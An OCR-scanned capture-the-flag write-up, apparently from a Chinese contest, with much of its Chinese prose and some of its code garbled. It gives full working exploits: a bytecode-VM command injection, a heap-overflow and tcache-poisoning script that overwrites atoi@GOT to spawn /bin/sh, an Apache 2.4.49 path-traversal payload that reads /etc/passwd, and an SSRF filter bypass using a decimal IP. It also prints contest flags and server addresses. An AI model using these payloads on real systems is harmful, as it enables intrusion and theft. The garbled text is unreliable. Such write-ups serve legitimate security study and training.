FNJE “ARRAT M wp

PWN:

neural

/api/raw TN R IRIARIHT S -> (i& admin token -> T diagnostics 995z -> B VNM %5
system() IE L& AX -> LA root 18 flag EFIEI T B R -> /api/download iE[E] flag,

7 app.py B LIEE:

e CMD_ADMIN = 0OxFF

o /api/raw RIBFAF IR base64 fRi3f5, EHIR(EANRIAE S ELGIE engine
e /api/status =i&[a] pid #1 uptime

XERERIRE—D “BRRBHINAOD BEEEEHKT, MERBEEN.

£ init.sh BiXgeEE:

e engine A root B14/35h

* Flask AR LURANFR A/ neuralchat Bz

* unix socket # chmod 777

PRUAR Zhe1EHl engine BEPLIHAE, ZANBiLHLZ root ARBEST.

i¥E engine BRY handle_admin. verify_admin_token. derive_admin_key /5, AJLA45§Z] admin
g

HREFIR

1 [u32 timestamp][u8 sub_cmd] [32-byte token][extra...]

INIEZIER
(RIERE

1 abs(time(NULL) - timestamp) <= 60 token == SHA256(p32(timestamp) + p8(sub_cmd)
+ extra + g_pwn[:16])

m g_pwn[:16] ~2FEEME, ME:


https://file+.vscode-resource.vscode-cdn.net/c%3A/Users/lenovo/.vscode/extensions/openai.chatgpt-26.324.21329-win32-x64/webview/
https://file+.vscode-resource.vscode-cdn.net/c%3A/Users/lenovo/.vscode/extensions/openai.chatgpt-26.324.21329-win32-x64/webview/

1 g_pwn[:16] = derive_admin_key(pid, start_time)

B F XA NN EEE:

e pid B3R HE /api/status

e start_time=HTTP Date - uptime

XE HTTP Date FAARSSIRMAN AR, LERAAMETEIRGS, FEZXMEHREER M,
derive_admin_key EB#Y S-box L2 AES S-box, HEILAIUAFREELEN,
handle_admin BE— diagnostics 773z, sh&MIXBRIFEXIM sub_cmd =5,

XN EZRERIT—RBEENX VNM FHH, HITRINEBEA:

(ASEEES

1 system(g_pwn + 0x10);

BIANBER T, g_pwn+0x10 BEHMRE:

AAZIR
1 /opt/neuralchat/plugins/diag.sh

W2, REREET VNM S g_pwn +0x10, FEEIERAIZETEIABRMESR shell 65,

%[ execute_vnm fa, BANESRBE=%:
o 0x02 <reg><imm32>: 4&F#RE 32 {iiLBIEK
e 0x07 <signed_off><reg>: {£FFH{ETZ g_pwn + 0x90 + signed_off

o Oxff: IEHWLER
KEHRET signed_off BERS 1 F1,

MRS

AR
1 signed_off = -128 = 0x80

BASNIEMZ:

EGIR



1 g_pwn + Ox90 - Ox80 = g_pwn + 0x10

XIEYFZ system() BN < FAFRAVH TS,
FRUFBAIRZ

Bap 1R 4 FRUIR

FA 0x02 IR E# Fi7a8

F3 0x07 0x80. 0x07 0x84. 0x07 0x88... kx5 E| g_pwn+0x10

Efa& Oxff £55R VNM

diagnostics 73 #£ 1T system(g_pwn+0x10)
FRELE, FHRERT.
BHiZ0 flag SR 505G FEE RENA:

HADIR

1 cp /home/ctf/flag /opt/neuralchat/downloads/f

SAIEIRIE]:

(ASEEES

1 /api/download?file=f

wLAEEX[E] flag.
exp
(GRS
1 Hdmport
2  import
3 dmport
4  Hdmport
5 dmport
6  dmport
7  dmport
8
9  HOST =
10
11 SBOX =
12

requests
base64
struct

time
hashlib
email.utils

calendar

"http://39.106.48.123:36987"

bytes. fromhex(

"637c777bf26b6fc53001672bfed7ab76"
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34
35
36
37
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40
41
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45
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def

def

def

def

"ca82c97dfa5947f0add4a2afocad72cO"
"b7fd9326363ff7cc34a5e5f171d83115"
"04c723c31896059a071280e2eb27b275"
"09832clalb6e5aa0523bd6b329e32184"
"53d100ed20fch15b6acbbe394a4c58cf"
"doefaafb434d338545f9027f503c9fa8"
"51234081929d38f5bcb6da2110fff3d2"
"cdO@cl1l3ec5f974417c4a77e3d645d1973"
"60814fdc222a908846eebh814de5e0bdb"
"e0323a0a4906245cc2d3ac629195e479"
"e7c8376d8dd54ea96c56f4eab57aae08"
"ba78252elcabb4c6e8dd741f4bbd8h8a"
"703eb5664803f60e613557b986c11d9e"
"e1f8981169d98e949b1e87e9ce5528df"
"8cal890dbfe6426841992d0fb054bb16"

u32(x):
return x & Oxffffffff

derive_admin_key(pid, start_time):

X = u32((pid * Ox045D9F3B) " ((start_time & Oxffffffff) x Ox119DE1F3))

out = bytearray(16)
for i in range(16):
X A= u32(x << 13)
X A= (x >> 7)
X M= u32(x << 17)
out[i] = SBOX[x & Oxff]

X = u32(x + u32((i + 1) * Ox9E3779B9))

return bytes(out)

get_status():
for _ 1in range(20):

r = requests.get(HOST + "/api/status", timeout=5)

if r.status_code == 200:
return r

time.sleep(1)

raise RuntimeError("status unavailable")

admin_request(sub_cmd, extra=b""):
r = get_status()
st = r.json()

server_now = calendar.timegm(email.utils.parsedate(r.headers['"Date"]))

start_time = server_now - int(st["uptime"])

pid = int(st["pid"])

secret = derive_admin_key(pid, start_time)
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def

cmd

ts = server_now
token = hashlib.sha256¢(

struct.pack("<I'", ts) + bytes([sub_cmd]) + extra + secret
) .digest()

payload = struct.pack("<I", ts) + bytes([sub_cmd]) + token + extra
raw = bytes([0xff]) + payload

rr = requests.post(
HOST + "/api/raw",
json={"data": base64.b64encode(raw) .decode()},
timeout=8
)
if rr.status_code != 200:
raise RuntimeError(f"http {rr.status_code}: {rr.text}")
return base64.b64decode(rr.json() ["data"])

build_vnm_program(cmd: bytes):
data = cmd + b"\x00"
if len(data) % 4:
data += b"\x00" * (4 - len(data) % 4)

prog = bytearray()
off = -128
reg = 0

for i in range(0, len(data), 4):
chunk = datal[i:i+4]
imm = struct.unpack("<I'", chunk)[0]
prog += bytes([0x02, reg]) + struct.pack("<I", imm)
prog += bytes([0x07, off & Oxff, reg])
off += 4

prog += b"\xff"
return bytes(prog)

= b"cp /home/ctf/flag /opt/neuralchat/downloads/f"

prog = build_vnm_program(cmd)

print(admin_request(5, prog))
print(requests.get(HOST + '"/api/download?file=f", timeout=5).text)

flag{86dc6c31-f9b9-4781-b44d-c7fcf70090bd}

Odd_chat



FEWTF:

1. Chat

Change name

View chat history

Clear chat

Quit

BRMKXEEXTR— 0x20 A/NHLEHEE (malloc(0x20) )

e HJ 0x18 F¥: message & HX

o bk w N

e RKE 0x8 FT: next #5%t

ERFE S message 4AMNE (8 FTH—4H, XM TEATREK) , BIR %s FTEL

MR SIBMAKE n , BFEAZXIMENET %24 . BEH “A3HE" BiAW INT_MIN K3:
o N -2147483648

o WEF]TE -8

FEEEANRBMEEFE “BRNS/EHSREA" iR, i < len ATERSNDE, len=-8 WM
HBARIEL, SHAREFITE message BIIEANLERAIHAE (BEGEE chunk TT#IR) -

XLz B IRiE.

message TENA %s , MRFANPTHKEMNRNS, LBEXEEEBERITEER \x00 , IHLIREE
BARFo

BT ESERER, JUMEZFESREBEHREAT—5F chunk ik (k#tbik=T5)
XA ZinAE TEA deltao

o I[FMIEE: 0x9e3879b9

o REEIA: 0x9e3779b9

fNR delta 56, #iE "MBEFERE" oMk, FARIKRIAN “BEKREMRINEXBEERT
X o

BKEE: heap leak -> tcache poisoning -> GOT hijack ->
system("/bin/sh")

SIS 3 MR SR ER St

o &4 Chat =R (KEIBX 23, ERAE 22 F1)

o FFWHAFHHE—F chunk it}

o MIHFIREF— chunk itk

S M ACHS -



* run_exploit

e extract_user_message

BTR, 2R tcache B%:

clear_chat &, 31 chunki#N\ tcache[0x30] o

BHE—1 chunk, B INT_MIN #RLT— freed chunk By fd :
e B chat(INT_MIN, payload)

 payload @I FINEMIS, 1L “MEREANAF HRZEERE 0x30 LT/
GLOBAL_NAME_PTR(0x6020f0)

e ZFERFLZ tcache poisoning

xR AR

e build_encrypted_payload

e run_exploit

ELRTE, 25 GLOBAL_NAME_PTR XMAIE chunk:

e % chat(0, b"") JEHFE—NIER chunk

e T—X chat =M poisoned tcache iR[E]E] 0x6020f0
2B name 185 ELE] atoi@GOT , HMtEE libc:

I {A1&E chunk B message B

o B nameiEEtER ATOI_GOT(0x602060)

o BEFITENBAPZME atoi@GOT , ME atoi SERRMuE
e it® libc_base # system

X AHS

e leak_atoi

* run_exploit

= atoi@GOT = system :
Change name =IAR fgets(name_ptr, ...) , M name_ptr B&RE atoi@GOT , F=&
A HiZE GOT,

EN system b5, ERETREHEMSER atoi , LT system,
Ki%x /bin/sh ENEI3 shell,
SEEEPHIASTE

HREFIR

1
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import argparse
import shlex
import socket
import struct
import subprocess
import sys

import threading

import time

BINARY_WSL_PATH = "/mnt/c/Users/lenovo/Desktop/odd_chat/attachment"

# Fixed addresses from the non-PIE challenge binary.
FAKE_CHUNK_USER = 0x602110

GLOBAL_NAME_PTR = 0x6020F0

ATOI_GOT = 0x602060

# Offsets from the bundled libc.so.6 (Ubuntu GLIBC 2.27-3ubuntul.6).
ATOI_OFFSET = 0x40670
SYSTEM_OFFSET = 0Ox4F420

# The chat node stores 0x18 bytes of message data followed by a next pointer.
NODE_NEXT_OFFSET = 0x18

TEA_DELTA = Ox9E3879B9

TEA_KEY = 0x114514

TEA_ROUNDS = 17

INT_MIN = -2147483648

LEAK_REQUEST_LEN = 23

LEAK_PAYLOAD = b"A" *x 22

def p64(value):
return struct.pack("<Q", value)

def u64(data):
return struct.unpack("<Q", data.ljust(8, b"\x00"))[0]

def u32(value):
return value & OxFFFFFFFF

def tea_decrypt_block(block):
vO, vl = struct.unpack("<II", block)
total = u32(TEA_ROUNDS * TEA_DELTA)
for _ in range(TEA_ROUNDS) :
vl = u32(vl - (((vO << 4) + TEA_KEY) 7~ (vO + total) ~ ((vO >> 5) +
TEA_KEY)))
total = u32(total - TEA_DELTA)
vl = u32(v0 - (((vl << 4) + TEA_KEY) 7~ (vl + total) ~ ((vl >> 5) +
TEA_KEY)))
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def

def

return struct.pack("<II", vO, vl)

build_fake_name_buffer (tcache_next=0):

buf = bytearray(0x2F)

struct.pack_into("<Q", buf, 0x08, 0x31)
struct.pack_into("<Q", buf, 0x10, tcache_next)
return bytes(buf)

build_overflow_payload(next_ptr):
target_block = tea_decrypt_block(p64(next_ptr))
payload = b"A" * NODE_NEXT_OFFSET + target_block
if b"\n" din payload:
raise ValueError ("overflow payload unexpectedly contains a newline

byte'")

def

return payload

build_name_ptr_payload(target_ptr):
payload = tea_decrypt_block(p64(target_ptr))
if b"\n" in payload:

raise ValueError("name-pointer payload unexpectedly contains a newline

byte'")

def

return payload

build_encrypted_payload(final_bytes):
if len(final_bytes) % 8 != 0:
raise ValueError("final_bytes length must be a multiple of 8")

payload = bytearray()
for dindex in range(0, len(final_bytes), 8):
payload.extend (tea_decrypt_block(final_bytes[index:index + 8]))

if b"\n" din payload:
raise ValueError("encrypted payload unexpectedly contains a newline

byte'")

return bytes(payload)

class ExploitError(RuntimeError):

def

pass

format_bytes(data):
chunks = []
for byte in data:
if byte in (0x09, Ox0A, 0xOD) or 0x20 <= byte <= OXTE:
chunks.append(chr (byte))
else:
chunks.append (f"\\x{byte:02x}")
return "".join(chunks)
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111
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def calc_eff
signed =
sign = s
absish =

absish_s

quotient
remainde

return s

class Buffer

def __1in

ective_length(value):

struct.unpack('"<i", struct.pack("<I", value & OxFFFFFFFF))[0]
igned >> 31

((signed " sign) - sign) & OxFFFFFFFF
igned = struct.unpack("<i", struct.pack("<I", absish))[0]

= int(absish_signed / 24)
r = absish_signed - quotient * 24
truct.unpack("<i", struct.pack("<I", remainder & OxFFFFFFFF))[0]

edTube:
it__(self):

self._buffer = bytearray()

self
self

def _app
if n

with

def _mar
with

def recv
end_
with

{delim!r}")

._cond = threading.Condition()
._closed = False

end(self, data):
ot data:

return

self._cond:
self._buffer.extend(data)
self._cond.notify_all()

k_closed(self):
self._cond:
self._closed = True
self._cond.notify_all()

until(self, delim, timeout=5.0):
time = time.time() + timeout
self._cond:
while True:
index = self._buffer.find(delim)
if index != -1:
index += len(delim)
data = bytes(self._buffer[:index])
del self._buffer[:index]
return data

if self._closed:

raise EOFError(f"stream closed before receiving delimiter

remaining = end_time - time.time()

if remaining <= 0:
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167
168
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170
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172
173
174
175
176
177
178
179
180
181

raise TimeoutError(f"timed out waiting for delimiter
{delim!r}")
self._cond.wait(remaining)

def recv_available(self, wait=0.2):
end_time = time.time() + wait
with self._cond:
while not self._buffer and not self._closed:
remaining = end_time - time.time()
if remaining <= 0:
break

self._cond.wait(remaining)

data = bytes(self._buffer)
self._buffer.clear()

return data

def send(self, data):
raise NotImplementedError

def sendline(self, data=b""):
self.send(data + b"\n")

def dinteractive(self):
print("[*x] Interactive mode. Press Ctrl+C to stop.", file=sys.stderr)

def printer():
while True:
chunk = self.recv_available(wait=0.1)
if chunk:
sys.stdout.buffer.write(chunk)
sys.stdout.buffer.flush()
elif self._closed:
break

thread = threading.Thread(target=printer, daemon=True)
thread.start()

try:
for line in sys.stdin.buffer:
self.send(line)
except KeyboardInterrupt:
pass

class ProcessTube(BufferedTube):
def __init__(self, argv):
super().__init__()
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200
201
202
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209
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def

def

self.proc = subprocess.Popen(
argv,
stdin=subprocess.PIPE,
stdout=subprocess.PIPE,
stderr=subprocess.STDOUT,
bufsize=0,
)
self._reader = threading.Thread(target=self._reader_loop, daemon=True)

self._reader.start()

_reader_loop(self):
reader = getattr(self.proc.stdout, "readl", self.proc.stdout.read)
try:
while True:
chunk = reader (4096)
if not chunk:
break
self._append(chunk)
finally:
self._mark_closed()

send(self, data):
if self.proc.stdin is None:

raise EOFError("process stdin is closed")
self.proc.stdin.write(data)
self.proc.stdin.flush()

class SocketTube(BufferedTube):

def

def

def

__init__(self, host, port):

super().__init__()

self.sock = socket.create_connection((host, port))

self._reader = threading.Thread(target=self._reader_loop, daemon=True)

self._reader.start()

_reader_loop(self):
try:
while True:
chunk = self.sock.recv(4096)
if not chunk:
break
self._append(chunk)
finally:
self._mark_closed()

send(self, data):
self.sock.sendall(data)
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class OddChatExploit:

def

def

def

def

def

def

def

__init__(self, do):
self.io = 1o
self.menu_ready = False

wait_menu(self):
if not self.menu_ready:
self.io.recvuntil(b">> ")

self.menu_ready = True

choose(self, choice):
self.wait_menu()
self.io.sendline(str(choice).encode())

self.menu_ready = False

start(self, initial_name=b'"guest"):
self.io.recvuntil(b"Please enter your name: ")
self.io.sendline(initial_name)
self.wait_menu()

set_name(self, payload):
if b"\n" in payload:

raise ExploitError("fgets payload cannot contain a newline byte")
if len(payload) > 0Ox2F:

raise ExploitError("name payload is longer than fgets can accept")

self.choose(2)

self.io.recvuntil(b"Please enter your name: ")
self.io.send(payload + b'"\n")

self.wait_menu()

chat(self, length_value, payload):
if b"\n" in payload:
raise ExploitError("chat payload cannot contain a newline byte")

self.choose(1)

self.io.recvuntil(b"How many characters do you want to send: ")
self.io.sendline(str (length_value).encode())
self.io.recvuntil(b"> ")

self.io.send(payload + b'"\n")

output = self.io.recvuntil(b">> ")
self.menu_ready = True

return output

clear_chat(self):
self.choose(4)
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output = self.io.recvuntil(b'">> ")
self.menu_ready = True

return output

def view_history(self):
self.choose(3)
output = self.io.recvuntil(b">> ")
self.menu_ready = True

return output

@staticmethod
def extract_name_leak(output):
marker = b"] User: "
if marker not in output:
raise ExploitError("failed to find the user leak marker in chat
output")
leak_part = output.split(marker, 1)[1]
if b"> " not in leak_part:
raise ExploitError("failed to split leaked bytes from the message
output")
leaked = leak_part.split(b"> ", 1)[0]
if not leaked:
raise ExploitError("the leaked user string was empty")

return leaked

def leak_atoi(self):
leak_output = self.chat(8, build_name_ptr_payload(ATOI_GOT))
leaked = self.extract_name_leak(leak_output)
atoi_addr = u64(leaked[:8])
return atoi_addr, leak_output

@staticmethod
def extract_user_message(output):
marker = b'"> "
if marker not in output:
raise ExploitError("failed to find the user message marker in chat
output")
return output.split(marker, 1)[1].split(b"\n", 1)[0]

def build_local_tube(local_path):
argv = ["wsl", "sh", "-1c", shlex.quote(local_path)]

return ProcessTube(argv)

def build_tube(args):
if args.remote:
host, port = args.remote
return SocketTube(host, int(port))



320 return build_local_tube(args.local_path)

321

322 def print_block(title, data):

323 print(f"\n=== {title} ===")

324 print(format_bytes(data))

325

326 def analyze_probe(args, length_value, payload):

327 io = build_tube(args)

328 exp = 0ddChatExploit(io)

329

330 banner = djo.recvuntil(b"Please enter your name: ")

331 jo.sendline(args.initial_name.encode())

332 menu = jo.recvuntil(b">> ")

333 exp.menu_ready = True

334

335 print(f"\n===== Probe length = {length_value} =====")

336 print(f"effective length in binary =
{calc_effective_length(length_value)}")

337 print_block("Initial Banner", banner)

338 print_block('"Main Menu'", menu)

339

340 exp.choose (1)

341 length_prompt = do.recvuntil(b"How many characters do you want to send: ")

342 jo.sendline(str(length_value).encode())

343 chat_prompt = jo.recvuntil(b"> ")

344 jo.send(payload + b'"\n'")

345

346 print_block("Length Prompt", length_prompt)

347 print_block("Chat Prompt", chat_prompt)

348

349 try:

350 response = io.recvuntil(b">> ", timeout=args.timeout)

351 print_block("Chat Response", response)

352 print("status = returned to menu")

353 except (EOFError, TimeoutError) as exc:

354 tail = io.recv_available(wait=1.0)

355 if tail:

356 print_block("Partial Response'", tail)

357 print(f"status = {type(exc).__name__}: {exc}")

358

359 def run_analysis(args):

360 payload = args.payload.encode("latinl")

361 if b"\n" in payload:

362 raise ExploitError("analysis payload cannot contain a newline byte")

363

364 io = build_tube(args)

365 exp = 0ddChatExploit(io)
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banner = jo.recvuntil(b"Please enter your name: ")
jo.sendline(args.initial_name.encode())
menu = jo.recvuntil(b">> ")

exp.menu_ready = True

print_block("Initial Banner", banner)
print_block("Main Menu', menu)

history = exp.view_history()
print_block("View Empty History", history)

clear_output = exp.clear_chat()
print_block("Clear Empty Chat", clear_output)

for length_value in args.lengths:
analyze_probe(args, length_value, payload)

def run_exploit(args):
io = build_tube(args)

exp = 0ddChatExploit(io)
exp.start(args.initial_name.encode())

# 1. Create three real chunks. Using 22 bytes with a request length of 23

ensures
# the trailing newline is consumed, while the encrypted printout still
leaks the
# previous chunk pointer from the second message.

first = exp.chat(LEAK_REQUEST_LEN, LEAK_PAYLOAD)
second = exp.chat(LEAK_REQUEST_LEN, LEAK_PAYLOAD)
exp.chat (LEAK_REQUEST_LEN, LEAK_PAYLOAD)

first_msg = exp.extract_user_message(first)
second_msg = exp.extract_user_message (second)
first_chunk = int.from_bytes(second_msg[len(first_msg):], "little")
if first_chunk == 0:
raise ExploitError("failed to recover the first heap chunk address
from the leak")

print(f"[x] first heap chunk = Ox{first_chunk:x}")

# 2. Free the three real chunks so tcache[0x30] becomes A -> B -> C.
exp.clear_chat()

# 3. Reallocate A and use the INT_MIN bug to overflow into freed B's
tcache fd.



409
410
411
412
413
414
415
416
417

418
419
420
421
422
423
424
425
426
427
428
429

430
431
432

433
434
435
436

437
438
439
440
441
442
443
444
445
446
447
448
449
450
451

poison_layout = bytearray(0x38)
poison_layout[0x30:0x38] = p64(GLOBAL_NAME_PTR)
exp.chat(INT_MIN, build_encrypted_payload(bytes(poison_layout)))

# 4. Reallocate B; its poisoned fd makes the next tcache allocation land on
# GLOBAL_NAME_PTR.
exp.chat(0, b'"'")

# 5. Allocate GLOBAL_NAME_PTR as a fake chunk, then overwrite it with
atoi@GoT.

atoi_addr, _ = exp.leak_atoi()

libc_base = atoi_addr - ATOI_OFFSET

system_addr = 1libc_base + SYSTEM_OFFSET

print(f"[*] atoi@libc
print(f"[*] libc base
print(f"[*] system@libc

Ox{atoi_addr:x}")
Ox{libc_base:x1}")
Ox{system_addr:x3}")

system_bytes = p64(system_addr)
if b"\n" in system_bytes:
raise ExploitError(
"system address contains a newline byte; rerun the exploit for a
different ASLR layout"

)

# 6. global_name_ptr already points at atoi@GOT, so option 2 becomes a
direct GOT write.

exp.set_name(system_bytes)

print("[*] Overwrote atoi@GOT with system")

# 7. Trigger system('/bin/sh') when the menu asks for the next numeric
choice.

jo.sendline(b"/bin/sh")

time.sleep(0.2)

if args.run:
jo.sendline(args.run.encode())
jo.sendline(b"exit'")
time.sleep(0.2)
sys.stdout.buffer.write(io.recv_available(wait=1.0))
sys.stdout.buffer.flush()

return

io.interactive()

def parse_args():
parser = argparse.ArgumentParser (



452

453
454
455
456
457
458
459
460
461
462
463
464

465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496

description="Dynamic analysis and exploit helper for the odd_chat
challenge."
)
parser.add_argument (
"--mode",
choices=("analyze", "exploit"),
default="analyze",

help="run menu/length probes or launch the exploit chain",

)

parser.add_argument(
"--remote",
nargs=2,

metavar=("HOST", "PORT"),
help="connect to a remote service instead of launching the local
binary",
)
parser.add_argument (
"-—local-path",
default=BINARY_WSL_PATH,
help="WSL path to the local challenge binary for --local mode",
)
parser.add_argument(
"-—initial-name",
default="guest",
help="1initial name sent at startup",
)
parser.add_argument (
"——run",
help="command to run after /bin/sh is spawned",
)
parser.add_argument (
"--payload",
default="BBBBBBBB",
help="ASCII payload used by analyze mode when sending chat content",

)
parser.add_argument (
"--lengths",
nargs="x",
type=int,

default=[0, 1, 8, 23, 24, -1, -24, INT_MIN],

help="1length values to probe in analyze mode",
)
parser.add_argument (

"-—timeout",

type=float,

default=5.0,

help="receive timeout for analyze mode probes",



497 )

498 return parser.parse_args()
499
500 def main():
501 args = parse_args()
502 if args.mode == "exploit":
503 run_exploit(args)
504 return
505 run_analysis(args)
506
507 if __name__ == "__main__":
508 try:
509 main()
510 except (ExploitError, EOFError, TimeoutError, OSError, ValueError) as exc:
511 print(f"[!] {exc}", file=sys.stderr)
512 sys.exit(1l)
513
WITIRRIZEE:
REGIR
1  python d:\study\2.py --remote 101.201.236.114 26676 --mode exploit —-run "cat
/flag"

flag{7448d1e0-8971-4691-90c7-d774826dc016}
1% [A]

ezSM4

EEMEER, RE—NT#E:

Get-Childltem C:\Users\Admin\Downloads\ezSM4_a23f288fee7857a581044347e4a44a28
mMHBERSE:

ezSM4.exe
BIRNNFRE, TUEIIMEXENER:
12345678abcdefgh

format: flag{xxx}, xxx is your input.



Correct.

Wrong Answer.

Wrong length.

Invalid length of data

Invalid length of key

2AVSM4@@

XESREENLRER!

1. T#HGIERHBEBILT SM4 £Z

HHIT —HBEEFRE 12345678abcdefgh , R key
pefile + capstone XFFFIE, XEMIETIREMHEA UL FERIET:
EPNZISETPN

95—~ 16 FTHIBASIR

FIE—NEE key: 12345678abcdefgh

TR SM4 MEXWRHFITINE

RERM— 5N 16 FHEELLR

MEENMHE Correct. , [NHIE Wrong Answer.
EFEERNBEMENE:

4A 5E 463596 08 E9 30 DA 28 CAA0 22 A6 59 4D

HRIZ:

4a5e46359608e930da28caa022a6594d
EFRERNUETUERERIX I6 N FHER:
0x140001b30: 4a 5e 46 35

= @3N

o 0 & W N

0x140001b37:96 08 €9 30
0x140001b3e: da 28 ca a0
0x140001b45: 22 a6 59 4d
EE key B7E .rdata E:

12345678abcdefgh
XAE—MREAZEIMNSA: Wrong length. RRE “BRARX , MERERXNSSMENEE
KEB ™S,

BREMNAZ AN, BES5EENE—" 16 FRHRAR,
XEERFFER:



format: flag{xxx}, xxx is your input.

XAEARBRIEFSEMBIN flag{...} , MEERTIR:

o THBIBEHEIEZWMARZE xxx

o FTHLRZRERMNBER flag{xxx}

HRER, EFASRAE—BRRREAN, RBEKER 16 FTMSENMEZIE, FIa0E:
flag{aaaaaaaaaa}

IRGIEFE, EREEX 16 M FRAAFERNILELIE, HASEEIRBIK “flag gzl -
FTAX R R B2 -

o EFIEMBIN: 16 FHRIGFREH

o THERKEN: flag{ERFERRANY

ATHINETRKEARZE “thE SM4A-ECB+ EE key” , BTN —ERMMN THISEH, FIaiHmAN—
RIEF 16 F TR &

flag{aaaaaaaaaa}

F frida EX%# memcpy UBHFIZFHEERHEN 16 FHER:
57af8deba3860fc2ee00eb5e92502903

NREZRATEEFERSE SM4-ECB HE!

from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes

key = b"12345678abcdefgh"

pt = b"flag{aaaaaaaaaa}"

cipher = Cipher(algorithms.SM4(key), modes.ECB())

enc = cipher.encryptor().update(pt) + cipher.encryptor().finalize()
print(enc.hex())

RERZE:

813acb9b5cafbf310cc503bel9ebedab

MEFBEHTENA Lo

XinPHE RAR SM4 , BXUEARTARANFTF. #ENBEAIULI, XMEFKIFLER
4 FH—AM iR IE B9,

MBI
o key LB AFTRE



o PANSEBAFTIRE
o BNEBEXtES4IFTRE
o IRE SM4 RE TG, BIEERE 4 FTREOXR
EX—NHBhERER
def rev4(x: bytes) -> bytes:

return b"".join(x[i:i+4][::-1] for i in range(0, len(x), 4))
AR AR ETLZ

from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes

def rev4(x: bytes) -> bytes:

return b"".join(x[i:i+4][::-1] for i in range(0, len(x), 4))

key = b"12345678abcdefgh"
ct = bytes.fromhex("4a5e46359608e930da28caa022a6594d")

cipher = Cipher(algorithms.SM4(rev4(key)), modes.ECB())
pt = cipher.decryptor().update(rev4(ct)) + cipher.decryptor().finalize()
pt = rev4(pt)

print(pt)

b

b'SENSOREDSA4Little'

FrAB IERYBAN RLE -
SENSOREDSA4Little

BB RENRNIRAER:
SENSOREDSA4Little

EFREL:

Correct.

format: flag{xxx}, xxx is your input.
XiFBAHEAIEL 16 F MmN IERE.
RIEAB L EIRIN, &KX flagh:



flag{SENSOREDSA4Little}

web

1.1 DataVault V3

N EESERMIFNEY, &AM /assets/ RRE:

GET /assets/

z[E]

<html><body><h1>It works!</h1></body></html>

X tEA:

o | EMERREIERER Python Web

e /assets/ EHIRE Apache X H RS

XAAE R Apache RXZTEME,

SR IVEEAREZE 3

Server: Apache/2.4.49 (Unix)

Apache 2.4.49 2 HIRIZFHIPIH, HIETE /assets/ THISEHFH:
GET /assets/.%2e/.%2e/.%2e/.%2e/etc/passwd

FINiEENE] /etc/passwd , WEAEESHIEENE R ML,

3% Apache & :

GET /assets/.%2e/.%2e/.%2e/.%2e/usr/local/apache2/conf/httpd.conf
KBECEWT:

Alias /assets/ "/usr/local/apache2/htdocs/"

<VirtualHost *:80>
ProxyPass /assets/ !
ProxyPass / http://127.0.0.1:8080/
ProxyPassReverse / http://127.0.0.1:8080/
</VirtualHost>
B %/assets/ A ERA, BHIEH Apache 4ME
o HMRIFLERANE 127.0.0.1:8080

i3 supervisor fig&


http://127.0.0.1:8080/
http://127.0.0.1:8080/

GET /assets/.%2e/.%2e/.%2e/.%2e/etc/supervisor/conf.d/supervisord.conf

|

fop

[program:web]
command=python3 /app/web/app.py
directory=/app/web

[program:kms]
command=python3 /app/kms/app.py
directory=/app/kms

X—SEARBZIBRMEE LT !
e 45MEB Apache
e WebfR%5: 127.0.0.1:8080
e KMSARSS: AR Python ARSS
AN RS
GET /assets/.%2e/.%2e/.%2e/.%2e/app/web/app.py
GET /assets/.%2e/.%2e/.%2e/.%2e/app/kms/app.py
/app/web/app.py BE=1MR¥ES:
1. RO
@app.route('/api/vl/backup/snapshot’)
def hidden_snapshot():
return jsonify(get_snapshot())
2. SSRF =
@app.route('/health_check')
def health_check():

url = request.args.get('url')

parsed_url = urllib.parse.urlparse(url)

domain = parsed_url.netloc

if "internal-kms" in domain or "127.0.0.1" in domain or "localhost" in domain:

return jsonify({"error": "WAF Blocked: Internal network access prohibited."}), 403


http://localhost/

r = requests.get(url, timeout=2)

return jsonify({"status": r.status_code, "body_preview": r.text[:100]})
3. [RERERLIELE:
old_dek = os.urandom(32)
cipher = AES.new(old_dek, AES.MODE_GCM)

enc_data, tag = cipher.encrypt_and_digest(FLAG.encode())

resp = requests.get(f"{KMS_URL}/api/vl/import_dek?dek={old_dek.hex()}")
enc_dek =resp.json().get('enc_dek’)
HHLE:
° FLAG FIFENl old_dek f# AES-GCM 1%
e old_dek BXRLBAM KMS 1NZ
o IHMRLEM:

o enc_data

o tag

o nonce

o enc_dek
/app/kms/app.py :
KEK = os.urandom(32)
STATIC_NONCE = b'DataVaul'

@app.route('/api/vl/import_dek')
def import_dek():
dek = bytes.fromhex(dek_hex)
cipher = AES.new(KEK, AES.MODE_CTR, nonce=STATIC_NONCE)
enc_dek = cipher.encrypt(dek)
return jsonify({"enc_dek": enc_dek.hex()})
o AR AR
o KMS &XEAB—" KEK

o EMAMIE AES-CTR EHETE nonce



CTRERT:
ciphertext = plaintext XOR keystream

R nonce EE, B4 keystream BElE. REH(TILEME—ERBEXAX, #MEEME keystream, #
MR H EME S,

Trinl RO

GET /api/vl/backup/snapshot

EIES VS
"enc_data": "..."

"enc_dek": "..",

"id": "snap_v1_legacy_deleted",

"nonce
"tag":"..",
"kms_backend_log": "DEK encrypted via internal legacy API: /api/vl/import_dek"

}

HE B8P BRI R F N HFII:

if "127.0.0.1" in domain or "localhost" in domain

PRI EZA 127.0.0.1 B+H#HIFR:

2130706433 ==127.0.0.1

&EiEK:

GET /health_check?url=http://2130706433:5000/api/v1l/import_dek?
dek=0000000000000000000000000000000000000000000000000000000000000000

XEENHBAX DEK Z 32 F1H£ 0,

EJ:

0 XOR keystream = keystream

FRrLUREIR) enc_dek FiE5eZE keystream,

%enc_dek_real” 2IRIBEANNZE DE; KkeystreamE A2 0 BAXITHRAILER
UK

old_dek = enc_dek_real XOR keystream

Z3| old_dek 5, FAATLUIRIRERIRMHAY nonce/tag/enc_data f#l AES-GCM f#=
ﬂago

@ﬁ
L
dim
i


http://localhost/
http://127.0.0.1:5000/api/v1/import_dek?dek=0000000000000000000000000000000000000000000000000000000000000000

BlZSENT -

import json

import requests

from Crypto.Cipher import AES

BASE_URL ="http://60.205.218.124:22562"

def main():

snapshot = requests.get(f"{BASE_URL}/api/vl/backup/snapshot", timeout=5).json()

zero_probe =requests.get(
f"{BASE_URL}/health_check",
params={
"url": "http://2130706433:5000/api/vl/import_dek?dek="+"00" * 32,
L
timeout=5,

)-json()

keystream = bytes.fromhex(json.loads(zero_probe["body_preview"])["enc_dek"])
enc_dek = bytes.fromhex(snapshot["enc_dek"])

dek = bytes(a * b for a, b in zip(enc_dek, keystream))

